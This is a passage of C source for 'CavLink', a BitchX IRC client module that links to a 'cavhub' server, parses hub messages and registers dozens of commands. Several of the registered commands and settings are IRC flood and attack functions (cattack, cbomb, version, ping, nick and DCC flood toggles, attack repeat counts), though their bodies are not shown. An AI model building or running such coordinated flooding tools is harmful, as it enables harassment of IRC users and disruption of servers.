914
cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s +a %s",p,cav_nickname));
915
return;
916
}
917
else if (wild_match("% % removed your attack ability",tmp))
918
{
919
p=next_arg(tmp,&tmp);
920
p=next_arg(tmp,&tmp);
921
cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s -a %s",p,cav_nickname));
922
return;
923
}
924
else if (wild_match("% % can now attack",tmp))
925
{
926
p=next_arg(tmp,&tmp); p=next_arg(tmp,&tmp);
927
cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s +a %s",p, get_dllstring_var("cavlink_host")));
928
return;
929
}
930
else if (wild_match("% % can no longer attack",tmp))
931
{
932
p=next_arg(tmp,&tmp); p=next_arg(tmp,&tmp);
933
cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s -a %s",p, get_dllstring_var("cavlink_host")));
934
return;
935
}
936
else if (wild_match("% % % wall *",tmp))
937
{
938
char *nick, *host;
939
p=next_arg(tmp,&tmp);
940
nick=next_arg(tmp,&tmp);
941
host=next_arg(tmp,&tmp);
942
p=next_arg(tmp,&tmp);
943
cav_say("%s",cparse("%g!%WWALL%g! [%n$0%g(%W$1%g)]%n $2-","%s %s %s",nick,host,tmp));
944
return;
945
}
946
else if (wild_match("% you are an oper", tmp))
947
{
948
cav_say("%s", cparse("You are now an operator", "%s", cav_nickname));
949
return;
950
}
951
ArgList = TrueArgs;
952
count = BreakArgs(tmp, NULL, ArgList, 1);
953
if (!(comm = (*++ArgList)) || !*ArgList)
954
return; /* Empty line from server - ByeBye */
955
956
if (!strcmp(comm, "motd"))
957
{
958
PasteArgs(ArgList, 1);
959
p = *(ArgList+1);
960
output = cav_say((p?p:empty_string));
961
}
962
else if (((!strcmp(comm,"begin") || !strcmp(comm, "end")) && !strcmp("motd", *(ArgList+1))))
963
output = 0;
964
else if (!strcmp(comm, "list"))
965
{
966
char *nick, *host;
967
nick = *(ArgList+1);
968
host = *(ArgList+2);
969
output = cav_say("%s", cparse("$0: $1", "%s %s",nick,host));
970
}
971
else if (!strcmp(comm, "llbot"))
972
output = handle_llbot(cavhub, ArgList);
973
else if (!strcmp(comm, "status"))
974
output = cav_say("%s",cparse("llbot %gwatching %W$0","%s", *(ArgList+2)));
975
else if (!strcmp(comm, "part"))
976
{
977
char *chan, *nick, *host;
978
chan = *(ArgList+1);
979
nick = *(ArgList+2);
980
host = *(ArgList+3);
981
output = cav_say("%s",cparse("%W$1%n!$2%g left%n $0%g","%s %s %s", chan, nick, host));
982
}
983
else if (!strcmp(comm, "who"))
984
output = handle_who(cavhub, ArgList, 0);
985
else if (!strcmp(comm, "rwho"))
986
output = handle_who(cavhub, ArgList, 1);
987
else if (!strcmp(comm, "pong"))
988
{
989
output = cav_say("%s", cparse("ping time from server $0secs", "%d", time(NULL)-cavping));
990
cavping = 0;
991
}
992
else if (!strcmp(comm, "luser"))
993
{
994
int users = 0, opers = 0, llbots = 0, splits = 0;
995
users = my_atol(*(ArgList+1));
996
opers = my_atol(*(ArgList+3));
997
llbots = my_atol(*(ArgList+5));
998
splits = my_atol(*(ArgList+7));
999
cav_say("%s",cparse("%W$0%g clients%g (%W$1%n user + %W$2%n oper%g)", "%d %d %d", users, users-opers, opers));
1000
output = cav_say("%s",cparse("%W$0%g llbots %nconnected%g (%W$1%n servers split%g)", "%d %d", llbots, splits));
1001
}
1002
else if (!strcmp(comm, "say"))
1003
output = handle_say(cavhub, ArgList);
1004
else if (!strcmp(comm, "msg"))
1005
output = handle_msg(cavhub, ArgList);
1006
else if (!strcmp(comm, "join"))
1007
{
1008
char *chan, *nick, *userhost;
1009
chan=*(ArgList+1);
1010
nick=*(ArgList+2);
1011
userhost=*(ArgList+3);
1012
output = cav_say("%s",cparse("%W$0%n!$1%g has joined%n $2","%s %s %s",nick, userhost, chan));
1013
if (!my_stricmp(cav_nickname,nick))
1014
malloc_strcpy(&cav_channel, chan);
1015
}
1016
else if (!strcmp(comm, "disconnected"))
1017
{
1018
char *nick, *host, *reason;
1019
nick=*(ArgList+1);
1020
host=*(ArgList+2);
1021
reason = *(ArgList+3);
1022
PasteArgs(ArgList, 3);
1023
output = cav_say("%s",cparse("%W$0%n!$1%g disconnected %nfrom caverns","%s %s %s",nick,host,!reason ? "connection lost":reason));
1024
if (!my_stricmp(nick, cav_nickname))
1025
cavhub = NULL;
1026
}
1027
else if (!strcmp(comm, "version"))
1028
{
1029
PasteArgs(ArgList,0);
1030
p = *(ArgList+0);
1031
}
1032
else if (!strcmp(comm, "stats"))
1033
{
1034
PasteArgs(ArgList,0);
1035
p = *(ArgList+0);
1036
}
1037
else if (!strcmp(comm, "uptime"))
1038
{
1039
PasteArgs(ArgList,1);
1040
output = cav_say("%s", cparse("Cavhub Uptime %R$0-", "%s", *(ArgList+1)));
1041
}
1042
else if (!strcmp(comm, "kline"))
1043
{
1044
PasteArgs(ArgList,0);
1045
p = *(ArgList+0);
1046
}
1047
else if (!strcmp(comm, "error:"))
1048
{
1049
p=*(ArgList+1);
1050
PasteArgs(ArgList, 1);
1051
output = cav_say("%s", cparse("Error: $0-", "%s", p));
1052
}
1053
else if (!strcmp(comm, "rwall"))
1054
{
1055
char *nick, *host, *str;
1056
nick = *(ArgList+1);
1057
host = *(ArgList+2);
1058
PasteArgs(ArgList, 3);
1059
str = *(ArgList+3);
1060
output = cav_say("%s", cparse("%G!%WWALL%G! [%n$0%g(%W$1%g)]%n $2-", "%s %s %s", nick, host, str));
1061
}
1062
else if (!strcmp(comm, "nick"))
1063
{
1064
char *nick, *newnick;
1065
nick = *(ArgList+2);
1066
newnick = *(ArgList+4);
1067
if (!my_stricmp(nick, cav_nickname))
1068
malloc_strcpy(&cav_nickname, newnick);
1069
output = cav_say("%s", cparse("%W$0%n is now known as %W$1", "%s %s", nick, newnick));
1070
}
1071
else if (!strcmp(comm, "split"))
1072
output = handle_split(cavhub, ArgList);
1073
else if (!strcmp(comm, "attack"))
1074
{
1075
if ((output = handle_attack(cavhub, ArgList)))
1076
{
1077
PasteArgs(ArgList, 0);
1078
p = *(ArgList+0);
1079
}
1080
}
1081
else
1082
{
1083
PasteArgs(ArgList, 0);
1084
p = *ArgList;
1085
}
1086
if (output)
1087
cav_say(p?p:tmp);
1088
return;
1089
}
1090
}
1091
}
1092
1093
SocketList *cavlink_connect(char *host, u_short port)
1094
{
1095
struct in_addr address;
1096
struct hostent *hp;
1097
int lastlog_level;
1098
1099
lastlog_level = set_lastlog_msg_level(LOG_DCC);
1100
if ((address.s_addr = inet_addr(host)) == -1)
1101
{
1102
if (!my_stricmp(host, "255.255.255.0") || !(hp = gethostbyname(host)))
1103
{
1104
put_it("%s", cparse("$G %RDCC%n Unknown host: $0-", "%s", host));
1105
set_lastlog_msg_level(lastlog_level);
1106
return NULL;
1107
}
1108
bcopy(hp->h_addr, (char *)&address, sizeof(address));
1109
}
1110
cav_socket = connect_by_number(host, &port, SERVICE_CLIENT, PROTOCOL_TCP, 1);
1111
if (cav_socket < 0)
1112
return NULL;
1113
add_socketread(cav_socket, port, 0, host, cavlink_handler, NULL);
1114
put_it("%s", cparse(fget_string_var(FORMAT_DCC_CONNECT_FSET),
1115
"%s %s %s %s %s %d", update_clock(GET_TIME), "CAV", host,
1116
"u@h", ltoa(port), port));
1117
(void) set_lastlog_msg_level(lastlog_level);
1118
cavhub = get_socket(cav_socket);
1119
return cavhub;
1120
}
1121
1122
static char *cavlink (CtcpEntryDll *dll, char *from, char *to, char *args)
1123
{
1124
char *address, *password, *ports;
1125
int port;
1126
1127
if (cavhub)
1128
{
1129
put_it("%s", cparse("$G Already cavlinked %R$0%K:%R$1", "%s:%d", get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port")));
1130
return NULL;
1131
}
1132
address = next_arg(args, &args);
1133
if ((ports = next_arg(args, &args)))
1134
{
1135
port = atoi(ports);
1136
if (port < 100)
1137
return NULL;
1138
cav_port = port;
1139
} else
1140
port = cav_port;
1141
if (!(password = next_arg(args, &args)))
1142
password = get_dllstring_var("cavlink_pass");
1143
set_dllstring_var("cavlink_host", address);
1144
if (!get_dllint_var("cavlink"))
1145
return NULL;
1146
1147
cavhub = cavlink_connect(address, (unsigned short)port);
1148
1149
set_dllstring_var("cavlink_pass", password);
1150
return NULL;
1151
}
1152
1153
static void toggle_cavwin (Window *win, char *unused, int onoff)
1154
{
1155
Window *tmp;
1156
if (onoff)
1157
{
1158
if ((tmp = new_window(win->screen)))
1159
{
1160
resize_window(2, tmp, 6);
1161
tmp->name = m_strdup("CAVLINK");
1162
set_wset_string_var(tmp->wset, STATUS_FORMAT1_WSET, "%>[CavLink] ");
1163
tmp->double_status = 0;
1164
tmp->absolute_size = 1;
1165
build_status(tmp, NULL, 0);
1166
update_all_windows();
1167
set_input_prompt(win, get_string_var(INPUT_PROMPT_VAR), 0);
1168
set_screens_current_window(tmp->screen, tmp);
1169
cursor_to_input();
1170
1171
}
1172
}
1173
else
1174
{
1175
if ((tmp = get_window_by_name("CAVLINK")))
1176
{
1177
delete_window(tmp);
1178
update_all_windows();
1179
set_input_prompt(win, get_string_var(INPUT_PROMPT_VAR), 0);
1180
cursor_to_input();
1181
1182
}
1183
}
1184
}
1185
1186
1187
BUILT_IN_DLL(cavhelp)
1188
{
1189
put_it("%s", cparse("%K���� %YCavLink%n module ver %W$0%n %Kby %Ppanasync %K�������������������������ķ", "%s", cav_version));
1190
put_it( cparse("%K� [%Wcavlink cavlink_prompt cavlink_window cavlink_pass%K] � ", NULL, NULL));
1191
put_it( cparse("%K� [%Wcavlink_attack cavlink_attack_times%K] � ", NULL, NULL));
1192
put_it( cparse("%K� [%Rcavlink_floodspawn cavlink_floodping%K] � ", NULL, NULL));
1193
put_it( cparse("%K� [%Rcavlink_floodquote cavlink_floodmsg%K] � ", NULL, NULL));
1194
put_it( cparse("%K� [%Rcavlink_floodnick cavlink_floodversion%K] � ", NULL, NULL));
1195
put_it( cparse("%K� [%Rcavlink_flooddccbomb cavlink_floodcycle%K] � ", NULL, NULL));
1196
1197
put_it( cparse("%K� [%Wcsay cgeneral clsay cwho cmsg cjoin cpart cping cver cversion%K] � ", NULL, NULL));
1198
put_it( cparse("%K� [%Wcwall cluser cunlink clink cattack ckline cboot cmode csplit%K] � ", NULL, NULL));
1199
put_it( cparse("%K� [%Wcpong cinfo cwhois cme cmotd cquit cconnect cdie ckill chelp%K] � ", NULL, NULL));
1200
put_it( cparse("%K� [%Wcgrab crwho crwall chubs cstats cuptime csave%K] � ", NULL, NULL));
1201
1202
put_it( cparse("%K� [%Rcbomb cvfld cpfld cmfld cqfld ccfld cnfld cefld cspawn%K] � ", NULL, NULL));
1203
1204
put_it( cparse("%K� [%Wcavlink clink%K] � ", NULL, NULL));
1205
put_it( cparse("%K������������������������������������������������������������������Ľ ", NULL, NULL));
1206
1207
}
1208
1209
BUILT_IN_DLL(cavsave)
1210
{
1211
IrcVariableDll *newv = NULL;
1212
FILE *outf = NULL;
1213
char *expanded = NULL;
1214
char buffer[BIG_BUFFER_SIZE+1];
1215
if (get_string_var(CTOOLZ_DIR_VAR))
1216
snprintf(buffer, BIG_BUFFER_SIZE, "%s/CavLink.sav", get_string_var(CTOOLZ_DIR_VAR));
1217
else
1218
sprintf(buffer, "~/CavLink.sav");
1219
expanded = expand_twiddle(buffer);
1220
if (!expanded || !(outf = fopen(expanded, "w")))
1221
{
1222
bitchsay("error opening %s", expanded ? expanded : buffer);
1223
new_free(&expanded);
1224
return;
1225
}
1226
for (newv = dll_variable; newv; newv = newv->next)
1227
{
1228
if (!my_strnicmp(newv->name, "cavlink", 7))
1229
{
1230
if (newv->type == STR_TYPE_VAR)
1231
{
1232
if (newv->string)
1233
fprintf(outf, "SET %s %s\n", newv->name, newv->string);
1234
}
1235
else
1236
fprintf(outf, "SET %s %d\n", newv->name, newv->integer);
1237
}
1238
}
1239
cav_say("Finished saving cavlink variables to %s", buffer);
1240
fclose(outf);
1241
new_free(&expanded);
1242
return;
1243
}
1244
1245
char *Cavlink_Version(IrcCommandDll **intp)
1246
{
1247
return cav_version;
1248
}
1249
1250
int Cavlink_Init(IrcCommandDll **intp, Function_ptr *global_table)
1251
{
1252
char buffer[BIG_BUFFER_SIZE+1];
1253
char *p;
1254
char cav_name[] = "cavlink";
1255
1256
initialize_module(cav_name);
1257
1258
add_module_proc(COMMAND_PROC, cav_name, "csay", NULL, 0, 0, cavsay, NULL);
1259
add_module_proc(COMMAND_PROC, cav_name, "clsay", NULL, 0, 0, cavsay, NULL);
1260
add_module_proc(COMMAND_PROC, cav_name, "cgeneral", "cgeneral", 0, 0, cavgen, NULL);
1261
add_module_proc(COMMAND_PROC, cav_name, "cwho", "cwho", 0, 0, cavgen, NULL);
1262
add_module_proc(COMMAND_PROC, cav_name, "cmsg", "cmsg", 0, 0, cavgen, NULL);
1263
add_module_proc(COMMAND_PROC, cav_name, "chelp", "chelp", 0, 0, cavhelp, NULL);
1264
add_module_proc(COMMAND_PROC, cav_name, "cconnect", "cconnect", 0, 0, cavgen, NULL);
1265
add_module_proc(COMMAND_PROC, cav_name, "cdie", "cdie", 0, 0, cavgen, NULL);
1266
add_module_proc(COMMAND_PROC, cav_name, "cquit", "cquit", 0, 0, cavgen, NULL);
1267
add_module_proc(COMMAND_PROC, cav_name, "cmotd", "cmotd", 0, 0, cavgen, NULL);
1268
add_module_proc(COMMAND_PROC, cav_name, "cme", "cme", 0, 0, cavgen, NULL);
1269
add_module_proc(COMMAND_PROC, cav_name, "crwall", "crwall", 0, 0, cavgen, NULL);
1270
add_module_proc(COMMAND_PROC, cav_name, "chubs", "chubs", 0, 0, cavgen, NULL);
1271
add_module_proc(COMMAND_PROC, cav_name, "cwhois", "cwhois", 0, 0, cavgen, NULL);
1272
add_module_proc(COMMAND_PROC, cav_name, "coper", "coper", 0, 0, cavgen, NULL);
1273
add_module_proc(COMMAND_PROC, cav_name, "cjoin", "cjoin", 0, 0, cavgen, NULL);
1274
add_module_proc(COMMAND_PROC, cav_name, "cpong", "cpong", 0, 0, cavgen, NULL);
1275
add_module_proc(COMMAND_PROC, cav_name, "cpart", "cpart", 0, 0, cavgen, NULL);
1276
add_module_proc(COMMAND_PROC, cav_name, "cping", "cping", 0, 0, cavgen, NULL);
1277
add_module_proc(COMMAND_PROC, cav_name, "cver", "cver", 0, 0, cavgen, NULL);
1278
add_module_proc(COMMAND_PROC, cav_name, "cversion", "cversion", 0, 0, cavgen, NULL);
1279
add_module_proc(COMMAND_PROC, cav_name, "cwall", "cwall", 0, 0, cavgen, NULL);
1280
add_module_proc(COMMAND_PROC, cav_name, "cluser", "cluser", 0, 0, cavgen, NULL);
1281
add_module_proc(COMMAND_PROC, cav_name, "clist", "clist", 0, 0, cavgen, NULL);
1282
add_module_proc(COMMAND_PROC, cav_name, "csave", NULL, 0, 0, cavsave, NULL);
1283
add_module_proc(COMMAND_PROC, cav_name, "cunlink", NULL, 0, 0, cunlink, NULL);
1284
add_module_proc(COMMAND_PROC, cav_name, "clink", NULL, 0, 0, cav_link, NULL);
1285
add_module_proc(COMMAND_PROC, cav_name, "cclose", NULL, 0, 0, cclose, NULL);
1286
add_module_proc(COMMAND_PROC, cav_name, "cattack", "cattack", 0, 0, cattack, NULL);
1287
add_module_proc(COMMAND_PROC, cav_name, "cbomb", "cbomb", 0, 0, cattack, NULL);
1288
add_module_proc(COMMAND_PROC, cav_name, "cvfld", "cvfld", 0, 0, cattack, NULL);
1289
add_module_proc(COMMAND_PROC, cav_name, "cpfld", "cpfld", 0, 0, cattack, NULL);
1290
add_module_proc(COMMAND_PROC, cav_name, "cmfld", "cmfld", 0, 0, cattack, NULL);
1291
add_module_proc(COMMAND_PROC, cav_name, "cqfld", "cqfld", 0, 0, cattack, NULL);
1292
add_module_proc(COMMAND_PROC, cav_name, "ccfld", "ccfld", 0, 0, cattack, NULL);
1293
add_module_proc(COMMAND_PROC, cav_name, "cnfld", "cnfld", 0, 0, cattack, NULL);
1294
add_module_proc(COMMAND_PROC, cav_name, "cefld", "cefld", 0, 0, cattack, NULL);
1295
add_module_proc(COMMAND_PROC, cav_name, "cspawn", "cspawn", 0, 0, cattack, NULL);
1296
add_module_proc(COMMAND_PROC, cav_name, "ckline", "ckline", 0, 0, cavgen, NULL);
1297
add_module_proc(COMMAND_PROC, cav_name, "cnick", "cnick", 0, 0, cavgen, NULL);
1298
add_module_proc(COMMAND_PROC, cav_name, "cboot", "cboot", 0, 0, cavgen, NULL);
1299
add_module_proc(COMMAND_PROC, cav_name, "ckill", "ckill", 0, 0, cavgen, NULL);
1300
add_module_proc(COMMAND_PROC, cav_name, "csplit", "csplit", 0, 0, cavgen, NULL);
1301
add_module_proc(COMMAND_PROC, cav_name, "cstats", "cstats", 0, 0, cavgen, NULL);
1302
add_module_proc(COMMAND_PROC, cav_name, "cuptime", "cuptime", 0, 0, cavgen, NULL);
1303
add_module_proc(COMMAND_PROC, cav_name, "crwho", "crwho", 0, 0, cavgen, NULL);
1304
add_module_proc(COMMAND_PROC, cav_name, "cgrab", NULL, 0, 0, cgrab, NULL);
1305
add_module_proc(COMMAND_PROC, cav_name, "cmode", NULL, 0, 0, cmode, NULL);
1306
1307
add_module_proc(CTCP_PROC, cav_name, "cavlink", "CavLinking", -1, CTCP_SPECIAL|CTCP_TELLUSER, cavlink, NULL);
1308
add_module_proc(CTCP_PROC, cav_name, "clink", "CavLinking", -1, CTCP_SPECIAL|CTCP_TELLUSER, cavlink, NULL);
1309
1310
add_module_proc(VAR_PROC, cav_name, "cavlink_pass", "boing", STR_TYPE_VAR, 0, NULL, NULL);
1311
add_module_proc(VAR_PROC, cav_name, "cavlink_prompt", (char *)convert_output_format("%K[%YCavLink%K]%n", NULL, NULL), STR_TYPE_VAR, 0, NULL, NULL);
1312
add_module_proc(VAR_PROC, cav_name, "cavlink_window", NULL, BOOL_TYPE_VAR, 0, toggle_cavwin, NULL);
1313
add_module_proc(VAR_PROC, cav_name, "cavlink", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1314
1315
add_module_proc(VAR_PROC, cav_name, "cavlink_floodspawn", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1316
add_module_proc(VAR_PROC, cav_name, "cavlink_floodquote", NULL, BOOL_TYPE_VAR, 0, NULL, NULL);
1317
add_module_proc(VAR_PROC, cav_name, "cavlink_floodmsg", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1318
add_module_proc(VAR_PROC, cav_name, "cavlink_floodnick", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1319
add_module_proc(VAR_PROC, cav_name, "cavlink_floodversion", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1320
add_module_proc(VAR_PROC, cav_name, "cavlink_floodping", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1321
add_module_proc(VAR_PROC, cav_name, "cavlink_flooddccbomb", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1322
add_module_proc(VAR_PROC, cav_name, "cavlink_floodcycle", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1323
add_module_proc(VAR_PROC, cav_name, "cavlink_floodecho", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1324
1325
add_module_proc(VAR_PROC, cav_name, "cavlink_host", NULL, STR_TYPE_VAR, 0, NULL, NULL);
1326
add_module_proc(VAR_PROC, cav_name, "cavlink_port", NULL, INT_TYPE_VAR, 7979, NULL, NULL);
1327
add_module_proc(VAR_PROC, cav_name, "cavlink_attack", NULL, BOOL_TYPE_VAR, 0, NULL, NULL);
1328
add_module_proc(VAR_PROC, cav_name, "cavlink_attack_times", NULL, INT_TYPE_VAR, 6, NULL, NULL);
1329
1330
cavhelp(NULL, NULL, NULL, NULL, NULL);
1331
malloc_strcpy(&cav_nickname, nickname);
1332
sprintf(buffer, "$0+cavlink %s by panasync - $2 $3", cav_version);
1333
fset_string_var(FORMAT_VERSION_FSET, buffer);
1334
loading_global = 1;
1335
snprintf(buffer, BIG_BUFFER_SIZE, "%s/CavLink.sav", get_string_var(CTOOLZ_DIR_VAR));
1336
p = expand_twiddle(buffer);
1337
load("LOAD", p, empty_string, NULL);
1338
new_free(&p);
1339
loading_global = 0;
1340
return 0;
1341
}
1342
1343
1344